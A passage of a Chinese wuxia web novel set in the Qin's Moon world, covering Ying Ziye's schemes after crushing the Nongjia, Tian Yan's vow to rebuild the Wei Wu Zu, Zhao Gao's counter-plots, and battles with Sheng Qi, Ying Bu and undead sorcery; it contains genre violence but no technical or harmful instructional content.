她声音极轻,紫眸中担忧未散。
赢子夜握住她微凉的手,指尖在她掌心轻轻一挠。
“不必担心。”
他笑意温润,全然不似方才冢内那个引动天地异象的可怕存在。
“走吧。”
第169章 本公子要的,是他们插翅难飞!
烈山堂。
灯火通明。
田言早已命人备好点心,自己却恭敬立于厅侧。
赢子夜径自在上首落座,少司命静立身侧,晓梦抱臂倚在窗边,雪霁剑在月光下泛着寒光。
“说说情况。”
赢子夜指尖轻叩案几,声音不疾不徐。
田言上前半步,紫瞳低垂。
“冥顽不灵者皆已伏诛。但…”
她顿了顿。
“仍有部分四岳堂、魁隗堂弟子在外逃窜。”
“蝼蚁罢了。”
赢子夜随手拈起一枚蜜饯,看都未看她一眼。
晓梦突然冷笑一声。
“逍遥子**。”
她指尖划过雪霁剑锋,“为阻我追击,不惜耗尽精血自爆。可惜…”
银丝般的拂尘轻轻一荡。
“盖聂还是跑了。”
赢子夜挑眉。
“剑圣独臂,能逃多远?”
“末将有事禀报!”
王离抱拳出列,铠甲铿锵作响。
“朱家尸身已在断龙石西麓发现,但…”
他额头渗出细汗。
“侠魁令不知所踪。”
案几上的杯盏突然无声化为齑粉。
赢子夜笑容不变。
“无用之物罢了。”
他转向阴影处。
“暗河呢?”
赵弋苍铁面具泛着冷光,单膝跪地时重剑与地面碰撞出火星。
“共工堂、蚩尤堂骨妖等四十七名高手尽数伏诛,但…”
他声音陡然阴沉。
“胜七、吴旷两人不见踪影,属下已派出夜枭、血鸦卫全力搜捕。”
赢子夜忽然笑了。
他起身踱至窗前,月光为他侧脸镀上银边。
“王离。”
“末将在!”
“调三千穿甲兵,封锁所有出山要道。”
赢子夜指尖轻抚窗棂。
“记住,我要的是——”
木屑簌簌落下,他收回手。
“一只苍蝇也飞不出去。”
王离喉结滚动。
“诺!”
“至于你…”
赢子夜看向赵弋苍。
“告诉那些噬牙狱的疯子,每抓到一个农家余孽,减刑一年,若是盖聂…哪怕只有一条手臂……”
他轻笑一声。
“本公子也许他们自由。”
赵弋苍眼中凶光暴涨。
“属下明白!”
田言突然抬眸。
“公子,是否需要农家弟子协助搜山?”
赢子夜似笑非笑地看她一眼。
“你倒是心急。”
他忽而伸手捏住田言下巴,迫她直视自己。
“记住,你现在是侠魁,不是罗网的惊鲵。”
田言瞳孔骤缩,却不敢挣脱。
“…是。”
晓梦冷眼看着这一幕,突然拂尘一甩。
“无聊。”
她转身欲走,却被赢子夜一道气机锁定。
“急什么?”
赢子夜松开田言,从袖中抛出一物。
“你的雪霁剑,还缺这个吧?”
晓梦凌空接住,赫然是一枚青玉剑穗——
正是人宗秘库早已失传多年的至宝‘太虚玄穗’,能引动天地灵息、加持剑气三成之威!
她脸色微变。
“你…”
“人宗秘库,不止在太乙山那一处……”
赢子夜转身走向内室。
少司命默默跟上,在门槛处回头看了一眼。
月光透过窗棂,将厅内众人分割成明暗交错的碎片。
田言攥紧的指尖、晓梦捏碎的剑穗、王离紧绷的脊背、赵弋苍面具下的喘息…
夜风卷入,吹熄了最中央那盏灯。
……
夜。
烛火摇曳。
赢子夜随手布下一道隔音结界,这才从储物戒中取出神农鼎。
青铜小鼎悬浮在他掌心,散发着淡淡的草木清香。
少司命紫眸微睁:“这是…神农鼎?”
“嗯。”
赢子夜拉过她的手,将小鼎放入她掌心,“送你。”
少司命指尖一颤,险些没接住。
鼎身触手温润,内里隐约有青光流转,仿佛装着整片森林的生机。
“太贵重了…”
她声音轻得几乎听不见,“此鼎可聚天地灵气,培养千年灵药不过等闲,若是炼丹…”
赢子夜轻笑一声,指尖拂过她面纱边缘:“我的夫人,何时这般啰嗦了?”
少司命耳尖微红,却仍认真道:“阴阳家炼丹需借星力,道家讲究五行调和,而农家…”
她轻抚鼎身纹路,“神农尝百草,此鼎可辨万毒,炼出的丹药…”
话未说完,赢子夜突然摘了她的面纱。
紫纱飘落间,他俯身凑近。
少司命睁大眼睛,手中神农鼎“咚”地落在软榻上,滚出三尺远。
“夫君!鼎…”
赢子夜握住她的手,语带笑意:“一尊破鼎,也值得你分心?”
少司命向来清冷的眸子泛起涟漪。
她忽然抬手理了理他的衣襟,轻声道:“…败家子。”
赢子夜低笑出声,带着她一起坐到锦被边。
神农鼎在榻边幽幽泛着青光,鼎内灵气自行凝结成露,一滴一滴落在青砖上,竟催生出几株嫩芽。
“知道么?”
赢子夜指尖轻触她的肩头,“今日在六贤冢,看到地泽二十四的春生剑
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意…”
少司命突然抬手打断:“不许说别的。”
她难得任性,紫发如流云般垂下,“此刻只许说…我。”
赢子夜眸色转深。
他挥手打出一道金光,神农鼎顿时被收进少司命的储物镯。
纱帐垂落,烛火轻轻摇曳,唯有月光透过窗棂。
窗外,一株野草正以肉眼可见的速度抽枝发芽。
暗处窥探的田言刚收回心眼,突然闷哼一声。
眼中流下两行血泪。
她踉跄退后两步,被不知何时出现的晓梦扶住。
“窥探主子私密…”
晓梦雪霁剑抵在她咽喉,“想死?”
田言擦去血痕,竟笑了:“晓梦大师不也在附近徘徊?”
雪霁剑往前半寸,血珠滚落。
晓梦冷着脸收剑归鞘:“管好你的心眼。”
她转身时,袖中青玉剑穗若隐若现。
屋内,赢子夜忽然抬头看了眼窗外,黑瞳中闪过一丝玩味。
少司命不满地扳回他的脸:“专心…”
“遵命,夫人。”
……
一个时辰后。
赢子夜披着一件玄色外袍,缓步走出房门,衣襟微微敞开,颈侧一缕微乱的发丝随风轻拂。
他随手一挥,隔音结界无声消散。
田言已在院中等候多时。
她紫衣肃立,惊鲵剑悬于腰间,指尖却不自觉地摩挲着剑柄。
见赢子夜出来,她立即单膝跪地:“公子。”
“那么晚过来站了半天…”
赢子夜倚在廊柱上,黑瞳半眯,“看来是急事。”
田言抬头,紫眸中闪过一丝罕见的急切:“公子可知…关于我母亲更多的事?”
赢子夜轻笑一声,指尖凝聚一点金光,在虚空中勾勒出一个女子轮廓。
那是个与田言有七分相似的绝色佳人,手持惊鲵剑,眼中却满是绝望。
“你母亲,是**的。”
田言浑身一颤,指甲深深掐入掌心。
“她与罗网达成协议,以自己性命换你平安。”
赢子夜挥手散去虚影,“可惜…罗网何时守信过?”
夜风骤起,吹得田言衣袂翻飞!!
她声音发紧:“那我父亲…”
“信陵君魏无忌,魏国最后的支柱。”
赢子夜目光玩味,“你以为你母亲为何要杀他?又为何偏偏在得手后怀上你?”
田言瞳孔骤缩:“这是个…计划?”
“七个王室,七个传人。”
赢子夜缓步走近,月光在他身后拉出长长的影子,“而你,就是罗网寻找魏国传人的关键一环,为了…苍龙七宿。”
第170章 谁告诉你当年的魏武卒死绝了?!
“苍龙七宿!”
田言猛地站起身,惊鲵剑嗡鸣出鞘三寸又硬生生按回!
她胸口剧烈起伏,眼中情绪翻涌!
震惊、愤怒、痛苦,最后化作刻骨恨意……
赢子夜静静看着她握剑的手颤抖不止,忽然道:“剑不错。”
田言低头,这才发现惊鲵剑柄上刻着细小的魏国文字。
那是母亲留给她的唯一遗物。
她指尖抚过那些文字,声音沙哑:“公子需要我做什么?”
“不是我需要。”
赢子夜转身望向远处山影,“是你要做什么。”
田言眼中杀意暴涨:“我要罗网血债血偿!!!”
“志向不错,但…就凭你?”
赢子夜轻笑,“现在的罗网,你可吃不下。”
田言刚想开口说借助农家之力,却在看到赢子夜似笑非笑的眼神时猛然醒悟。
农家十万弟子,从来就不是她的筹码。
“请公子明示。”
她深深低头,紫发垂落遮住眼中精光。
赢子夜袖中滑出一卷竹简,随手抛给她:“魏武卒。”
田言接住竹简的手一抖!
展开一看,上面赫然记载着魏国最强军队的编制与训练之法。
她声音发紧:“魏武卒…早在秦魏最后一战就已…”
“梅三娘和典庆怎么活下来的?”
赢子夜打断她,“你真以为,当年那场大战,死绝了?”
田言猛地抬头,紫瞳中闪过一丝明悟!
她想起典庆那身刀枪不入的横练功夫,想起梅三娘提起魏国时眼中压抑的恨意。
“我明白了。”
她将竹简收入怀中,转身时衣袂翻飞如蝶,“三月之内,必给公子一个交代。”
赢子夜不再多言,转身走向屋内。
在他推门的瞬间,身后传来田言略带嘶哑的声音:
“公子为何…告诉我这些?”
月光下,赢子夜侧脸如冰雕般冷峻:“因为仇恨…”
他唇角微扬,“是最好的磨刀石。”
门扉轻合,院内只剩田言一人。
她缓缓跪地,惊鲵剑横置膝前,终于无声痛哭。
泪水浸湿了剑身上那个小小的“魏”字,那是母亲用血刻下的印记!
远处山巅,晓梦收回望气术,雪霁剑在月光下泛着寒光。
“好一招诛心。”
她身后树影晃动,赵弋苍的铁面具若隐若现:“主上为何要帮这丫头?”
“帮?”
晓梦冷笑,“你见过哪个棋手,会心疼棋子?”
……
同一时刻,屋内。
少司命披着薄纱倚在窗边,紫眸望着院中那个颤抖的身影。
赢子夜从身后环住她,下巴搁在她肩头:“心疼了?”
少司命轻轻摇头,反手抚上他脸颊:“你…在下一盘很大的棋。”
赢子夜低笑,吻了吻她指尖:“夫人越来越了解我了。”
而窗外,田言已经站起身。
她擦干眼泪,惊鲵剑归鞘时发出清越铮鸣。
月光下,那个总是优雅从容的农家女管仲,眼中第一次燃起了不死不休的决绝之火。
她最后看了一眼赢子夜的房门,转身消失在夜色中。
院角一株野草突然疯长,眨眼间开花结果。
那是神农鼎灵气催生的异象。
……
山崖边,夜风呜咽。
梅三娘独自坐在断崖旁,手中攥着半截断裂的金钟罩铁环。
那是典庆的遗物。
她眼眶通红,却倔强地不让泪水落下。
身后枯叶沙响,她头也不回地冷笑:“怎么,田大小姐来看笑话?”
田言紫衣染血,缓步走到她身侧三丈外站定。
月光下,她惊鲵剑柄上的魏国文字若隐若现。
“三娘,我…”
“闭嘴!”
梅三娘突然暴起,金钟罩残劲震得地面龟裂,“你投效那赢子夜,害得农家四分五裂!我师兄他…”
声音戛然而止,她死死咬住嘴唇,铁环深深勒进掌心!!
田言没有躲避飞溅的碎石,任由一道血痕划过脸颊:“若我说,这一切始于罗网呢?”
“放屁!”
梅三娘怒极反笑,“难不成那六公子还是罗网的人?”
“正相反。”
田言指尖轻抚惊鲵剑,“是他告诉我…我母亲是上一代惊鲵。”
山风骤停。
梅三娘瞪大眼睛:“你…你是罗网的…”
“曾经是。”
田言紫瞳中闪过一丝痛楚,“为了查清母亲死因,我十二岁就接过惊鲵剑。”
她突然扯开衣领,露出锁骨下方一个蜘蛛纹身,“这是罗网天字**的印记。”
梅三娘踉跄后退两步:“所以…你接管烈山堂…”
“起初是的。”
田言系好衣领,“直到我发现,母亲当年刺杀信陵君,根本就是罗网的局。”
“信陵君?”
梅三娘声音陡然尖锐,“魏无忌大人?!”
田言沉默着点头。
这个动作仿佛抽干了梅三娘所有力气,她跌坐在地,铁环当啷落地。
“不可能…魏大人他…是你…”
“亲生父亲。”
田言声音轻得几乎听不见,“母亲奉命杀他,却在最后…怀上了我。”
梅三娘突然扑上来揪住田言衣襟:“那你为何还帮那赢子夜?!”
“他害**我师兄!害**那么多农家弟兄!”
田言任由她摇晃,眼中浮现罕见的脆弱:“因为罗网要灭口,田密、田虎、还有田仲,早就不是农家的人了。”
“若不
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是六公子提前找到我,此刻你我早已是冢中枯骨。”
她突然握住梅三娘手腕,“三娘,典庆大哥的死,归根结底,是罗网!”
梅三娘僵住:“不,明明是司徒**那叛徒…”
田言冷笑,“司徒,不过是个墙头草。”
山风再起,吹散梅三娘束发的布带。
她散乱的长发遮住面容,声音嘶哑:“所以…你找我是为了…”
“魏武卒。”
田言从怀中取出竹简,“当年秦魏之战,活下来的不止你和典庆大哥。”
梅三娘猛地抬头,眼中精光暴涨:“你想重整魏武卒?就凭你?”
“不。”
田言指尖抚过惊鲵剑,“凭信陵君之女的身份,凭这个——”
她突然割破手掌,鲜血滴在竹简上,竟让简上文字泛起金光,“魏国宗室血!!!”
梅三娘如遭雷击。
她颤抖着接过竹简,上面赫然是魏武卒最高机密。
“魏武卒”三个字在血光中扭曲变形,最后还有“魏无忌”三字落款!!
“大人他…真的…”
梅三娘突然单膝跪地,行了一个标准的魏**礼,“末将参见少主!”
田言伸手扶起梅三娘:“我要复仇,向罗网,向所有害死我父母的人!”
梅三娘眼中燃起熊熊怒火,却又很快黯淡:“可魏武卒…活着的恐怕不足百人…”
“足够了。”
田言紫瞳如冰,“当年三千魏武卒能挡秦军十万,如今我要的…是一柄直刺罗网心脏的利刃!”
远处传来狼嚎声。
梅三娘沉默良久,突然一拳砸碎身旁岩石:“我可以帮你联络旧部。但…”
她死死盯着田言,“我要亲手杀了赵高。”
田言点头:“我答应你,他活不了多久了。”
梅三娘弯腰拾起典庆的铁环,郑重系在腰间:“师兄总说…金钟罩练到极致能挡千军万马。”
她咧嘴一笑,露出森白牙齿,“却不知魏武卒的‘铁血战阵’,本就是为破甲而生。”
田言突然伸手按住梅三娘肩膀:
“此事绝不可让外人知晓。”
“我懂。”
梅三娘嗤笑,“可那六公子也不是个省油的灯。”
“确实,但……”
田言转身望向咸阳方向,惊鲵剑微微震颤,“我们也是各取所需。”
山崖下,一只夜枭惊飞而起。
梅三娘望着田言单薄的背影,恍惚间仿佛看到当年信陵君立于城头的英姿。
她突然单膝跪地,以魏武卒最庄重的礼节重重叩首:
“末将梅三娘,誓死追随少主!”
田言没有回头,只是轻轻“嗯”了一声。
月光照在她半边脸上,那滴悬而未落的泪水,终究没有落下。
第171章 本公子能帮他,也能杀他!
晨露未晞。
竹林间雾气缭绕。
田赐抱着干将莫邪剑蹲在溪边,正用剑尖戳着水中游鱼玩。
突然一粒石子飞来,惊散了鱼群。
他气鼓鼓地抬头,却见赢子夜倚在青石旁,手中抛玩着几颗赤红丹丸。
“小阿赐,吃糖吗?”
田赐眼睛一亮,丢下剑就跑过去:“糖!阿赐要吃!”
赢子夜笑着递过一枚丹丸。
田赐看都不看就塞进嘴里,嚼得嘎嘣响:“甜的!还有吗?”
“有啊。”
赢子夜又递过两粒,“不过要慢慢吃…”
话音未落,竹林外传来一声急促的呼喊:“阿赐!”
田言紫衣翻飞,惊鲵剑都未来得及归鞘,显然是匆忙赶至。
她看到田赐鼓动的腮帮,脸色骤变:“你给他吃了什么?!!”
赢子夜漫不经心地把玩着剩余丹丸:“丹药而已,慌什么。”
田赐突然瞪大眼睛,手中双剑“锵”地出鞘:“热…好热!”
他胡乱挥舞着干将莫邪,剑气纵横间斩断大片青竹!
剑锋所过之处,竟有霜火交替的异象!!
“阿赐!”
田言想要上前,却被赢子夜拦住。
“别急。”
他黑瞳微眯,“让我看看这孩子的极限。”
田赐此刻已陷入狂乱,双剑舞成红白两色光轮。
一剑劈向溪水,水面瞬间结冰!
再剑横扫,冰层又燃起熊熊烈火!
这分明是剑意通玄的征兆!
“好苗子。”
赢子夜抚掌轻笑,“若非心智有缺,假以时日必成剑道大家。”
田言指甲掐进掌心:“公子,阿赐他受不得…”
“你太小看他了。”
赢子夜突然屈指一弹,一道金光没入田赐眉心。
癫狂的少年顿时僵住,双剑“当啷”落地,整个人直挺挺向后倒去。
田言飞身上前接住弟弟,指尖急探脉门!
片刻后,她紧绷的肩膀才稍稍放松。
脉象平稳有力,内力确实精进不少。
“如何?”
赢子夜踱步过来,“本公子的糖,味道不错吧?”
田言将昏睡的田赐轻轻放平,深吸一口气,转身行礼:“多谢公子厚赐,只是阿赐心智不全,恐怕…”
“正因如此,才更纯粹。”
赢子夜俯身拾起干将剑,指尖轻抚剑身上天然形成的冰纹,“剑道一途,痴儿往往比聪明人走得更远。”
他忽然将剑尖指向田言咽喉:“就像你,心思太重,反而难臻化境。”
田言不闪不避,紫瞳平静如水:“公子教训得是。”
“不如…”
赢子夜收剑归鞘,“让这孩子跟着我吧。”
田言瞳孔微缩:“阿赐顽劣,恐冲撞公子。”
“无妨。”
赢子夜轻笑,“我府上正好缺个剑童。”
他随手将剩余丹丸抛给田言,“每日一粒,三月后还你个剑道天才。”
丹丸入手微温,田言却觉得寒意刺骨!!
她太清楚这话外之音。
今日是补药,明日可能是**……
今日是邀请,明日就是胁迫!!
“公子厚爱,田言代弟谢过。”
她低头掩饰眼中波澜,“只是阿赐离不开我…”
赢子夜忽然凑近,呼吸拂过她耳畔:“田姑娘,你在害怕什么?”
竹叶沙沙作响,一滴冷汗顺着田言鬓角滑落。
就在这剑拔**张之际,田赐突然哼哼着醒来:“姐姐…饿…”
赢子夜直起身,笑意更浓:“看来醒了…如何,考虑好了吗?”
田言扶起迷迷糊糊的弟弟,声音轻柔却坚定:“阿赐需要人照顾,若公子不嫌弃,田言愿一同入府。”
“哦?”
赢子夜挑眉,“农家不管了?”
“各堂死的死伤的伤,朱家亦是伏诛。”
田言面不改色,“有王离将军坐镇,乱不起来。”
赢子夜大笑出声:“好一个伶牙俐齿的惊鲵。”
田赐懵懂地扯了扯姐姐袖子:“姐姐,哥哥给的糖…还想吃…”
赢子夜闻言,屈指一弹,又赐了一粒丹药过去。
恰逢此时。
赵弋苍铁甲森然的身影从阴影中踏出,单膝跪地时重剑与地面碰撞出沉闷声响。
“主上,血鸦卫在三十里外的安邑城,发现了楚国项氏一族的踪迹。”
赢子夜黑瞳微眯,指尖一枚竹叶无声化为齑粉:“项氏?有意思…”
田言紫眸一闪,下意识将田赐护在身后。
这个细微动作引得赢子夜侧目:“田姑娘似乎很紧张?”
“项氏一族骁勇善战,”
田言声音平稳,“若与农家残部勾结…”
“无
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妨。”
赢子夜随手将碎叶撒入溪水,“赵弋苍。”
“属下在!”
“派‘夜枭卫’盯紧他们。”
赢子夜转身时玄色衣袍翻卷如云,“本公子倒要看看,这些丧家之犬…还能翻出什么浪来。”
溪水突然逆流而上,将碎叶冲回岸边。
恰似这乱局中暗涌的杀机!!
……
咸阳。
中车府,烛影摇红。
赵高枯瘦的手指捏着密信,烛火将他的影子投在墙上,扭曲如鬼魅。
竹简在他掌心无声化为灰烬,簌簌落在地毯上。
“好一个六公子…”
他声音尖细如针,“不动声色就收了农家十万弟子。”
阴影中跪着的六剑奴之首真刚低声道:“大人,我们在公子府外的七处暗桩…”
“处理干净。”
赵高突然掐断他的话,苍白的面容在烛光下泛着青灰,“手脚要利落,别让黑冰台嗅到味道。”
真刚面具下的瞳孔微缩:“全部…灭口?”
“怎么?”
赵高转身,袖中滑出一只青铜蜘蛛,“你心软了?”
真刚额头抵地:“属下这就去办!”
待铁甲声远去,赵高从暗格取出一卷竹简。
展开后,赫然是田言的画像,旁边朱笔写着“惊鲵”二字。
他指尖在名字上狠狠一划,竹简顿时裂开一道缝隙。
“传令。”
他对着空荡荡的大殿轻声道,“凡诛杀惊鲵者,可继其位!”
殿角阴影处传来沙哑应答:“诺。”
赵高又取出一枚玄铁令牌,上面刻着“掩日”二字:“告诉掩日,魏国传承比惊鲵重要,若找不到…”
他忽然捏碎令牌一角,“就提头来见!!”
“嗖——”
一道黑影闪过,令牌已不见踪影。
烛火突然爆了个灯花。
赵高望着跳动的火焰,忽然神经质地笑起来:“赢子夜…你以为收了农家,就能动我的罗网?”
他袖中爬出数十只青铜蜘蛛,窸窸窣窣地四散而去。
每只蜘蛛背上都刻着一个名字。
田言、王离、晓梦……
最后一只蜘蛛背上,赫然刻着“赢子夜”三字!!
“啪!”
赵高突然拍碎案几,杯盏翻倒,浑浊的酒水在竹简上洇开,像极了干涸的血迹。
第172章 风之归属!
烈日当空,黄土飞扬。
安邑城外三十里的官道上,一队商贩模样的行人正接受盘查。
为首的虬髯大汉身高九尺,粗布麻衣被虬结的肌肉撑得几欲裂开,背后用草席包裹的巨物隐约透着森寒气息。
“路引。”
守城校尉钟离昧冷声道,手指无意识地摩挲着弓弦。
这大汉,正是乔装改扮的胜七!
他咧嘴一笑,露出森白牙齿:“军爷,俺们小本买卖…”
“路引。”
钟离昧重复道,眼中精光暴涨。
他忽然伸手去扯那草席,“这是什么?”
“哗啦!”
草席碎裂,巨阙剑寒光乍现!!!
“找死!”
胜七暴喝如雷,巨阙横扫。
狂暴的剑气将十余名秦兵拦腰斩断,鲜血如瀑喷洒在黄土道上。
钟离昧凌空后翻,三支羽箭已搭上弓弦:“果然是叛逆,受死!”
箭如流星,分取胜七咽喉、心口、丹田。
“铛铛铛!”
巨阙舞成光幕,火花四溅。
胜七狞笑着踏步上前,每一步都震得地面龟裂:“小崽子箭术不错,可惜…”
他猛然跃起,巨阙带着开山之势劈下!
钟离昧战马嘶鸣着人立而起,竟被剑气余波撕成两半!
“结阵!”
钟离昧滚地避开,厉声高呼。
幸存的秦兵迅速组成盾墙,长戟如林刺出!
吴旷从后方闪出,短剑划过一道寒芒:“大哥,速战速决!”
他身后三十七名旧部同时出手,瞬间撕开秦军防线!
“呜——”
警戒号角响彻云霄。
远处烟尘滚滚,显然有援兵赶来。
胜七巨阙插地,狂笑道:“来得好!老子正手痒!”
剑气纵横间,又有七八名秦兵身首异处。
“走!”
吴旷一把拽住胜七,“被合围就麻烦了!”
胜七不甘地啐了一口,巨阙扛肩:“撤!”
钟离昧嘴角溢血,却仍挽弓如月:“想走?”
三支穿甲箭破空而去,竟在半空中一分为九!
“噗噗噗!”
三名殿后的农家弟子应声倒地。
胜七回头怒视:“**的!”
“大哥先走!”
吴旷短剑舞成光幕,“我来断后!”
胜七咬牙狂奔,巨阙在身后拖出深深沟壑。
而钟离昧却策马急追,弓弦连震,箭矢如雨。
每一箭都精准封死胜七退路,逼得他不得不挥剑格挡,速度大减!
“哈哈哈!”
胜七突然转身,巨阙横扫,“就凭你也配追老子?!”
剑气如虹,将官道犁出三丈沟壑。
钟离昧战马惊跃,人在半空却仍连发七箭!
七箭首尾相连,竟在空中排成北斗之形。
“七星贯日?有点意思!”
胜七巨阙竖劈,硬撼箭阵。
“轰轰轰!”
连续七次**,震得他虎口迸裂,连退十余步!
钟离昧落地翻滚,嘴角溢血却战意更盛:“逆贼胜七,今日必取你首级!”
两人一追一逃,转眼深入山谷。
峭壁如刀,仅容一人通过的狭道中,钟离昧的箭术发挥到极致。
每一箭都刁钻至极,胜七背后已插着三支羽箭,鲜血浸透衣衫!
“**!”
胜七暴怒,巨阙猛地插入山壁,硬生生掰下半块巨石砸向后方。
钟离昧侧身避过,却见胜七已趁机冲出谷口。
他咬牙急追,忽然脚下一空,竟是踩中了陷阱!!
三柄淬毒短剑从地底刺出,幸亏他反应迅捷,仅划破小腿!
“吴旷!”
胜七的怒吼在山谷回荡,“你他娘阴我?!”
阴影处,吴旷带着十余名旧部现身:“大哥,不如此怎能甩开追兵?”
钟离昧背靠山壁,箭囊已空,唯有持弓对峙。
他冷笑道:“以多欺少,这就是农家的气节?”
“气节?”
胜七抹去脸上血污,“老子只要活着!”
巨阙带着呼啸劈下。
千钧一发之际,破空声骤起!!!
“嗖嗖嗖!”
数十支羽箭如暴雨倾泻。
胜七巨阙急转,仍被三箭射中肩膀!
吴旷短剑挥舞,护着胜七急退:“是破甲箭!”
只见山谷两侧突然冒出数百精兵,清一色赤甲红袍。
为首将领面戴青铜面具,双斧寒光凛凛:“楚国英布在此!受死吧!!!”
“楚国人?”
钟离昧惊疑不定。
英布根本不答,双斧交叉劈出十字气刃:“风!”
两侧楚军同时放箭,箭雨竟在空中组成龙卷,将胜七等人逼入死角。
胜七狂笑震天:“来得好!”
巨阙挥舞如轮,竟在箭雨中硬生生劈出一条路。
吴旷趁机带人突围,短剑专取楚军咽喉!
钟离昧此刻正与胜七大战后气息不稳,勉强支撑在一旁。
英布的目光从他身上扫过,眼底闪过一丝审视,却并未出手。
“秦将钟离,项氏有请。”
他低沉的声音透过青铜面具传来,带着不可置疑的意味。
话音未落,英布猛然转向胜七,双斧寒光大盛!!
那杀机分明是冲着胜七去的。
“滚开!”
胜七咆哮着举巨阙硬撼,两股劲力交击,山谷中炸起一片砂石。
吴旷见状大惊,急忙挥剑掩护:“大哥小心!他冲着你来的!”
英布冷笑一声,脚下蓄力暴掠而前,双斧如同两道雷霆,一击就将胜七逼得连退三步。
“钟离将军,你不是他的同类。”
这句话,既是战中挑衅,更像是暗中劝降。
胜七怒火冲天:“少在老子面前装腔作势!”
巨阙横扫,卷起的气浪几乎掀翻两侧楚军!
双方刀斧轰鸣,杀声震彻谷中!
钟离昧则被数名楚军悄然护在侧翼。
他面色苍白,却死死握弓,目光不曾离开战场,显然是在寻找退路。
血雾弥漫,混战愈烈!
英布双斧如电,每一击都带着雷霆之势!
胜七越战越狂,巨阙所过之处血肉横飞,仿佛要以一己之力碾碎天地。
“大哥,该走了!”
吴旷急声呼喊,“等会儿秦军就来了!”
“走?!”
胜七喘着粗气,单手扛剑,另一手将满脸血污抹成一道狞笑,盯着英布,声如惊雷:
“楚蛮子们来了,正好陪老子玩一场!”
话音未落,他猛然踏碎地面,巨阙横扫,带起的剑气宛如怒潮,直逼英布面门!
“好!”
英布低喝一声,双斧交错迎击。
气浪轰然炸开,周围数名楚军与秦兵齐齐被震飞!
胜七借势
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逼近,一剑压下,如山岳倾塌!
英布双臂发力,硬生生挡住,却被逼退半丈,脚下石板寸寸裂开。
“就这点力气?”
胜七咆哮如兽,巨阙翻转,反手劈落!
英布双斧斜劈,劲力激荡间,溅起的血水与碎石交织成一片风暴。
吴旷在侧急得怒吼:“大哥!”
胜七却头也不回:“拦谁都不能拦老子杀个痛快!”
在这片山谷间,他一人一剑,硬撼英布的雷霆双斧,血与杀气冲天而起,仿佛要将天穹都斩裂开来!
就在此时!
“嗖嗖嗖!”
七支漆黑**箭呈北斗之势射来,胜七巨阙急转,仍被两支箭矢擦破臂膀。
他暴怒转身,只见山谷入口处,十余名铁面死士无声而立,手中劲**泛着幽蓝寒光。
“暗河!”
吴旷短剑横胸,“是赢子夜的人!”
为首的铁面人,正是暗河副统领昭鞅,缓步上前,铁靴踏在血泊中发出黏腻声响。
“胜七,吴旷,我家公子有请。”
“放**屁!”
胜七巨阙砸地,震起漫天碎石,“老子先宰了这秦狗再说!”
昭鞅铁面具下传来阴冷笑声:“那就…得罪了。”
他猛地挥手,“杀!”
暗河死士如鬼魅般散开,手中不再是**箭,而是淬毒的短刃与铁链。
吴旷见状厉喝:“大哥,走!”
他短剑连点,三名农家旧部立刻结阵掩护。
另一边,英布双斧交叉,青铜面具下的眼睛眯起:“楚国儿郎,撤!”
“想走?你也留下!”
昭鞅身形一闪,铁链如毒蛇缠向英布脚踝。
英布冷笑一声,双斧猛然对撞,竟爆出一团刺目火光:“火起!”
“轰!”
**声中,楚军纷纷掷出***。
昭鞅被迫后退,再睁眼时,英布等人已借着烟雾遁入山林。
“追!”
昭鞅厉喝,六名暗河死士立刻追去。
他自己则转向胜七方向,却见那巨汉已劈开包围,正扛着吴旷狂奔而逃。
原来吴旷为掩护胜七,右腿已被**射中。
昭鞅看着地上昏迷的钟离昧,“带他回去复命。”
一名暗河死士蹲下检查伤势:“副统领,他伤得太重…”
“要活的。”
昭鞅从怀中取出玉瓶,倒出一枚赤红丹药塞入钟离昧口中,“让‘血鸦’送信,让王离派军医来接应。”
而远处山巅,胜七将吴旷放下,回望谷中升起的黑色信烟,独眼中怒火燃烧!
“赢子夜…老子迟早劈了你!”
吴旷咬牙拔出腿中**,冷汗涔涔:“大哥…暗河既出,说明赢子夜已掌控全局…我们…”
“闭嘴!”
胜七撕下衣襟为他包扎,“先找地方解毒!”
……
烈山堂内,烛火摇曳。
赵弋苍单膝跪地,铁面具上还沾着未干的血迹:“主上,钟离昧身中十七处伤,仍射杀九名楚军……”
“若非他拼死咬住敌踪,我们的人恐怕根本追不上。”
赢子夜斜倚在软榻上,指尖轻叩案几:“楚国人为何对他如此执着?”
“据暗河探查,”
赵弋苍声音低沉,“楚南公曾言‘得风火山林者得天下’。”
“钟离昧的‘追风弧箭’,正是‘风’之传承!”
第173章 百越,回来了!!!
“哦?”
赢子夜黑瞳微亮,“拉拢秦将为楚所用?这项氏倒是打得一手好算盘。”
少司命静立一旁,紫纱下的唇角微抿。
赢子夜忽然看向她:“夫人觉得呢?”
“箭术…尚可。”
她声音清冷,却递过一个青玉瓶。
赢子夜轻笑,倒出三枚泛着星辉的丹药:“拿去给那钟离昧,告诉他——”
丹药在掌心滚出一道弧光,“本公子最欣赏忠勇之士。”
赵弋苍双手接过丹药,铁面具下的眉头却皱起:“主上,此人孤高,恐怕…”
“无妨。”
赢子夜摆手,“待他伤愈,带他来见我。”
突然话锋一转,“楚军那个领队是谁?”
“英布。”
赵弋苍眼中凶光一闪,“此人双斧诡谲,看路数,应是项氏麾下‘雷豹军团’旧部。”
赢子夜指尖突然凝出一缕金焰,将案上的金子熔成金水:“传令给王离,加强各要塞巡查。”
“至于钟离昧…”
金水在他掌心凝固成一枚箭簇形状,“我亲自调教。”
窗外惊雷炸响,暴雨骤至!
赵弋苍躬身退下时,隐约听到赢子夜对少司命低语:“夫人,这‘风火山林’,倒让我想起一套合击阵法…”
……
另一边。
雨幕中。
昏迷的钟离昧忽然颤动了一下,仿佛感应到什么。
快马赶来接应的军医连忙按住他:“别动!你伤口会裂——”
话未说完,却被钟离昧一把攥住手腕。
高烧中的将领双目赤红,嘶声道:“楚贼…休想…夺我大秦!!!”
……
夜雾如血,笼罩着边境要塞。
城头的秦军哨兵打了个哈欠,突然瞪大眼睛。
护城河的水面正在变黑!
那不是阴影,而是无数蠕动的虫豸从河底涌出!
“敌…”
他刚喊出声,喉咙就被一条藤蔓般的黑虫钻入。
哨兵疯狂抓挠脖颈,皮肤下鼓起游走的肿块,最终“噗”地爆开一滩腥臭脓血!
“幽冥阴阳,生灵退散——”
诡异的吟唱声中,驱尸魔从雾中浮现。
他蓝色斗篷无风自动,腰间骷髅装饰的眼窝里爬出蜈蚣。
招魂铃轻摇,那些死去的哨兵突然抽搐着站起,关节发出令人牙酸的“咔咔”声。
“黄泉碧落,百鬼夜行…”
随着咒语,要塞粮仓突然窜起幽绿鬼火。
守军惊慌失措地提水来救,却见水桶里爬满毒蝎!
更可怕的是,那些白日里运粮的民夫,此刻正撕开人皮,露出满身尸斑!
